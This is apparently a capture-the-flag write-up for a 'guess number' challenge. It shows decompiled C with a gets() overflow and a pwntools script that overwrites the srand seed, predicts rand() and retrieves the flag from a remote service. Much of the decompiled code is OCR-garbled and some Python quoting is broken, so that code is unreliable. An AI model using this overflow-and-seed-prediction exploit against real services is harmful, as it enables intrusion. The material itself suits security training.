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L[_inte4 _ fastcall main(__int&4 al, char **a2, char **a3)
i
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+sh] [rbp-3Ch]
int i3 // [rsp+8h] [rbp-38h]
int w83 // [rsp+Ch] [rbp-34h]
char v3; // [rsp+1@8h] [rbp-3@h]
unsigned int seed[2]; // [rsp+38h] [rbp-18h]
unsigned _ int64 v11; // [rsp+38h] [rbp-8h]

v1ll = _ readfsgword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, @LL);

vi = stderr;

setbuf(stderr, @LL);

| ve =8

il vE = @3

I *(_OWORD *)seed = sub_BB@(v3, BLL);

Hooputs( - e B H
puts("Welcome to a guess number game!");
e ")

puts("Please let me know your name!™);
printf("Your name:");

gets(&v9);

v4 = (const char *)seed[@];
srand(seed[@]);

for (1 =8; 1 <=9; ++1 )

vd = rand() ¥ 6 + 1;

printf("------------- Turn:¥d------------- An", (unsigned int)(i + 1});
printf("Please input your guess number:");

_ iso0c99_scanf("#d", &ve);
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if (v I= vE )

puts("GG!");
exit(l);
1
vd = "Success!";
puts("Success!™);

1
sub C3E(v4);
return @LL;
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1| inte4 sub_C3E()

2

3| printf("You are a prophet!\nHere is your flag!™)};

4| system("cat flag");

5| return @LL;
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from pwn import *
from ctypes import *

io = remote('220.249.52.133"', 54835)

libc = cdll.LoadLibrary("/1ib/x86_64-1inux-gnu/libc.so.6")
payload = 'a' * 0x20 + p64(1).decode()
io.recvuntil('Your name:"')
io.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
io.recvuntil('number:")
io.sendline(num)
io.interactive()

:~/CPlusWorkplace$ python3 1.py
] Opening connection to 220.249.52.133 on port 54835: Done
*] Switching to interactive mode

Success!

You are a prophet!
Here is your flag!cyberpeace
[#] Got EOF while reading in interactive

[#] Interrupted
[*] Closed connection to 220.249.52.133 port 54835
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